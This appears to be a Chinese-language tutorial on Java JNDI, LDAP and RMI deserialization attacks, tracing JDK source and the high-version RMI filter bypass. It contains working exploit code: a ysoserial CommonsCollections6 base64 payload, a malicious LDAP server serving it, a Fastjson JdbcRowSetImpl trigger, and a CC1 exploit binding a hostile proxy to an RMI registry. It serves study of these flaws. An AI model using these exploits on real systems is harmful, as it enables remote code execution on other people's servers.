return refInfo;

}
......
}

在这个方法中,首先会在本地进行类加载,与之前的不同,这次可以在本地找到BeanFactory,即可在本地进行加载,最后return时候进行实例化,我们即可获得一个BeanFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

返回后,接下来我们要走到factory.getObjectInstance(ref, name, nameCtx,environment)中,也就是BeanFactory#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
ClassNotFoundException e = var25;
e.printStackTrace();
}
}

if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};
String[] arr$ = value.split(",");
i = arr$.length;

for(int i$ = 0; i$ < i; ++i$) {
String param = arr$[i$];
param = param.trim();
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}

try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}
}

Enumeration<RefAddr> e = ref.getAll();

while(true) {
while(true) {
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}

ra = (RefAddr)e.nextElement();
propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));

value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;

try {
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
}
}
}
}
}
} else {
return null;
}
}

ra是从引用里获取forceString,我们这里传入的值为x=eval

这里会检查,是否存在=(等于号的ascii为61),不存在就会调用默认属性的setter方法,存在就会取其键值,键为属性名,而值是其指定的setter方法

这里这段代码,把x的setter强行指定为eval方法,这就是我们的关键利用点,之后就会获取beanClass

javax.el.ELProcessoreval方法并同x属性一同放入forced这个HashMap

接着是多个 do while 语句来遍历获取 ResourceRef 类实例 addr 属性的元素,当获取到 addrType 为 x 的元素时退出当前所有循环,然后调用getContent()方法来获取x属性对应的 contents 即恶意表达式。这里就是恶意 RMI 服务端中 ResourceRef 类实例添加的第二个元素

获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行

LDAP返回序列化数据,触发本地Target

LDAP除了支持JNDI Reference这种利用方法,还支持直接返回一个序列化的对象,若Java对象的javaSerializedData属性不为空,则客户端的obj.decodeObject()方法就会最这个字段的内容进行反序列化

若服务端的ClassPath中存在反序列化利用点的Gadget,例如CC依赖等等,就可以实现LDAP结合该Garget实现反序列化漏洞攻击

我们这里使用CC6来实现攻击

1
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=

恶意LDAP服务器如下(服务端和客户端都要导入CC依赖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.unboundid.util.Base64;  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDIGadgetServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://vps:8000/#ExportObject";
int port = 1234;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}


// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

客户端代码,这里有两种触发方式,一种lookup,还有一种fastjson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.alibaba.fastjson.JSON;  

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIGadgetClient {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("ldap://localhost:1234/ExportObject");

// Fastjson反序列化JNDI注入Gadget触发
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

RMI之Java高版本绕过

Java高版本限制

在Java高版本中,在RegistryImpl类中新加了一个registryFilter方法,里面对所传入的序列化对象的类型进行了限制

1
2
3
4
5
6
7
8
9
10
11
12
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}

绕过分析

调用流程

其中有希望利用的只有ProxyUnicastRef类,其中最重要的是UnicastRef类,在这个类中有一个invoke方法 ,在修复以后,客户端的被攻击点是没有被修复的,我们就想如果能让服务端去发送一个客户端请求,就会暴露出攻击点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void invoke(RemoteCall var1) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");
var1.executeCall();
} catch (RemoteException var3) {
clientRefLog.log(Log.BRIEF, "exception: ", var3);
this.free(var1, false);
throw var3;
} catch (Error var4) {
clientRefLog.log(Log.BRIEF, "error: ", var4);
this.free(var1, false);
throw var4;
} catch (RuntimeException var5) {
clientRefLog.log(Log.BRIEF, "exception: ", var5);
this.free(var1, false);
throw var5;
} catch (Exception var6) {
clientRefLog.log(Log.BRIEF, "exception: ", var6);
this.free(var1, true);
throw var6;
}
}

我们的想法是找一个地方去调用Util.createProxy创建一个动态代理类,我们找到的是DGC这个类可以被利用,然后调用它的clean或者dirty方法去触发他的invoke方法

我们直接走向最终找到的DGCClient内部类的EndpointEntry的构造方法方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private EndpointEntry(final Endpoint endpoint) {
this.endpoint = endpoint;
try {
LiveRef dgcRef = new LiveRef(dgcID, endpoint, false);
dgc = (DGC) Util.createProxy(DGCImpl.class,
new UnicastRef(dgcRef), true);
} catch (RemoteException e) {
throw new Error("internal error creating DGC stub");
}
renewCleanThread = AccessController.doPrivileged(
new NewThreadAction(new RenewCleanThread(),
"RenewClean-" + endpoint, true));
renewCleanThread.start();
}

接下来我们找哪里去创建了这么一个类,在EndpointEntry中的lookup方法中创建了这么一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
public static EndpointEntry lookup(Endpoint ep) {
synchronized (endpointTable) {
EndpointEntry entry = endpointTable.get(ep);
if (entry == null) {
entry = new EndpointEntry(ep);
endpointTable.put(ep, entry);
if (gcLatencyRequest == null) {
gcLatencyRequest = GC.requestLatency(gcInterval);
}
}
return entry;
}
}

我们看只有在registerRefs中调用了EndpointEntrylookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
static void registerRefs(Endpoint ep, List<LiveRef> refs) {
/*
* Look up the given endpoint and register the refs with it.
* The retrieved entry may get removed from the global endpoint
* table before EndpointEntry.registerRefs() is able to acquire
* its lock; in this event, it returns false, and we loop and
* try again.
*/
EndpointEntry epEntry;
do {
epEntry = EndpointEntry.lookup(ep);
} while (!epEntry.registerRefs(refs));
}

我们需要找到一个反序列化利用的点,再向上找,会找到两个调用registerRefs的方法

我们看read方法中,如果这个输入流不是并且不继承于ConnectionInputStream的话,就会调用我们的registerRefs方法,但是这个in是一个ConnectionInputStream,所以我们只能去找另一个方法去利用

1
2
3
4
5
6
7
8
9
10
11
12
13
if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// save ref to send "dirty" call after all args/returns
// have been unmarshaled.
stream.saveRef(ref);
if (isResultStream) {
// set flag in stream indicating that remote objects were
// unmarshaled. A DGC ack should be sent by the transport.
stream.setAckNeeded();
}
} else {
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}

另一个最终的流程是releaseInputStream去调用StreamRemoteCall.registerRefs然后进入到if中(这个判断条件中的incomingRefTable是为空的,我们后续会说怎么走到if里面)调用DGCClient.registerRefs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void releaseInputStream() throws IOException {
try {
if (in != null) {
try {
in.done();
} catch (RuntimeException e) {
}
in.registerRefs();
in.done(conn);
}
conn.releaseInputStream();
} finally {
in = null;
}
}

void registerRefs() throws IOException {
if (!incomingRefTable.isEmpty()) {
for (Map.Entry<Endpoint, List<LiveRef>> entry :
incomingRefTable.entrySet()) {
DGCClient.registerRefs(entry.getKey(), entry.getValue());
}
}
}

最后调用releaseInputStream的地方就是非常的多了,在许多Skel中都有调用

最后的流程如下,只要调用releaseInputStream,就会创建一个proxy对象

incomingRefTable赋值

实际上反序列化流程,只是为了给incomingRefTable赋值,攻击流程实际是在正常的调用流程中

我们上面说过,这里的值默认是空的,要想走入DGCClient.registerRefs中,我们就应该去找,哪里给incomingRefTable赋值

1
2
3
4
5
6
7
8
void registerRefs() throws IOException {
if (!incomingRefTable.isEmpty()) {
for (Map.Entry<Endpoint, List<LiveRef>> entry :
incomingRefTable.entrySet()) {
DGCClient.registerRefs(entry.getKey(), entry.getValue());
}
}
}

实际这里只有一个地方ConnectionInputStreamsaveRef中,向里面put进去了一个东西,使他不为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void saveRef(LiveRef ref) {
Endpoint ep = ref.getEndpoint();

// check whether endpoint is already in the hashtable
List<LiveRef> refList = incomingRefTable.get(ep);

if (refList == null) {
refList = new ArrayList<LiveRef>();
incomingRefTable.put(ep, refList);
}

// add ref to list of refs for endpoint ep
refList.add(ref);
}

saveRef也是只有一个地方去调用,就是read方法,我们之前讨论过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static LiveRef read(ObjectInput in, boolean useNewFormat)
throws IOException, ClassNotFoundException
{
......

if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// save ref to send "dirty" call after all args/returns
// have been unmarshaled.
stream.saveRef(ref);
if (isResultStream) {
// set flag in stream indicating that remote objects were
// unmarshaled. A DGC ack should be sent by the transport.
stream.setAckNeeded();
}
} else {
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}

return ref;
}
}

我们看看谁调用了read方法,只有UnicastRefUnicastRef2中的readExternal去调用了read方法

readExternal是一个和readObject类似但不一样的东西,如果所反序列化的类,也有readExternal方法,也会去调用readExternal方法

1
2
3
4
5
public void readExternal(ObjectInput in)
throws IOException, ClassNotFoundException
{
ref = LiveRef.read(in, false);
}

UnicastRef是白名单里面的内容,我们向客户端传入一个UnicastRef对象触发它的readexternal方法

1
2
3
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}

进入到LiveRef.read中… 剩下的调用我们就不再重复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
......
if (var0 instanceof ConnectionInputStream) {
ConnectionInputStream var6 = (ConnectionInputStream)var0;
var6.saveRef(var5);
if (var4) {
var6.setAckNeeded();
}
} else {
DGCClient.registerRefs(var2, Arrays.asList(var5));
}

return var5;
}

...

后续会走到EndpointEntry中,在创建完dgc后会走到下面创建一个RenewCleanThread线程

1
2
3
4
5
6
7
8
9
10
11
12
13
private EndpointEntry(Endpoint var1) {
this.endpoint = var1;

try {
LiveRef var2 = new LiveRef(DGCClient.dgcID, var1, false);
this.dgc = (DGC)Util.createProxy(DGCImpl.class, new UnicastRef(var2), true);
} catch (RemoteException var3) {
throw new Error("internal error creating DGC stub");
}

this.renewCleanThread = (Thread)AccessController.doPrivileged(new NewThreadAction(new RenewCleanThread(), "RenewClean-" + var1, true));
this.renewCleanThread.start();
}

RenewCleanThread中,会调用DGCClientmakeDirtyCall方法,而这个方法最终会调用他的dirty方法,就会调用到invoke方法,最终让服务器发送客户端请求

1
2
3
4
5
6
7
8
9
10
11
12
13
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
if (var4) {
EndpointEntry.this.makeDirtyCall(var5, var6);
}

if (!EndpointEntry.this.pendingCleans.isEmpty()) {
EndpointEntry.this.makeCleanCalls();
}

return null;
}
}

RMI攻击方式

前面我们进行了RMI源码层面的分析,这里我们来讨论RMI的攻击方式

RMI攻击基本方式

根据源码层面分析,我们有以下几种基本攻击方式
  • 客户端 打 注册中心
  • 客户端 打 服务端
  • 客户端

攻击注册中心

不管是服务端或者客户端,与注册中心交互主要是下面这句话
1
r.bind("remoteObj",remoteObj);

除了bind方法,还有其他方式

以下方法位于RegistryImpl_Skel#dispatch中,下面是交互方法和其与dispatch的对应关系

  • 0 —- bind
  • 1 —- list
  • 2 —- lookup
  • 3 —- rebind
  • 4 —- unbind

tips:除了list和lookup两者,剩下方法在8u121后,均需要在localhost调用

List鸡肋攻击

list方法可以列出目标上绑定的所有对象

1
2
3
4
5
6
public class RegistryListAttack {
public static void main(String[] args) throws Exception {
String[] list = Naming.list("rmi://localhost:1099");
System.out.println(list);
}
}

运行的时候,会将绑定对象的信息打印出来

从上面得知该方法对应case1,其代码如下

里面只存在着writeObject方法,并没有反序列化的入口

1
2
3
4
5
6
7
8
9
10
11
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();

try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}

bind/rebind攻击

我们知道,这两者对应的case分别为0,3

其源码如下,两个方法中都是存在反序列化的,反序列化的东西均为 一个参数名和一个远程对象

这两者的均可以作为反序列化的入口类,若该服务端导入了CC的依赖,我们就可以利用这里的反序列化入口,进行CC链的反序列化攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}

var6.rebind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}

我这里在服务端导入3.2.1版本的CC依赖,尝试去打它的CC1这条链子

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

远程对象在两者间传递时,是传递的Proxy动态代理对象,而绑定时需要Remote类型的对象

因此在绑定时,我们需要一个实现 Remote 接口的动态代理对象

这里有一个newProxyInstance方法,可以创建动态代理,需要InvocationHandler示例,所有我们需要将恶意类转为InvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@CallerSensitive
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
throws IllegalArgumentException
{
......
try {
if (sm != null) {
checkNewProxyPermission(Reflection.getCallerClass(), cl);
}

final Constructor<?> cons = cl.getConstructor(constructorParams);
final InvocationHandler ih = h;
if (!Modifier.isPublic(cl.getModifiers())) {
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
cons.setAccessible(true);
return null;
}
});
}
return cons.newInstance(new Object[]{h});
} ......
}

下面就是我们的封装代码

1
2
3
4
InvocationHandler handler = (InvocationHandler) CC1();  
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
registry.bind("test",remote);

EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
registry.bind("test",remote);
}

public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}

rebind攻击和bind攻击一样,只需要将bind替换为rebind

1
registry.bind("test",remote);

unbind/lookup攻击

根据前面的对应信息,我们找到两者对应的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}

case 4:
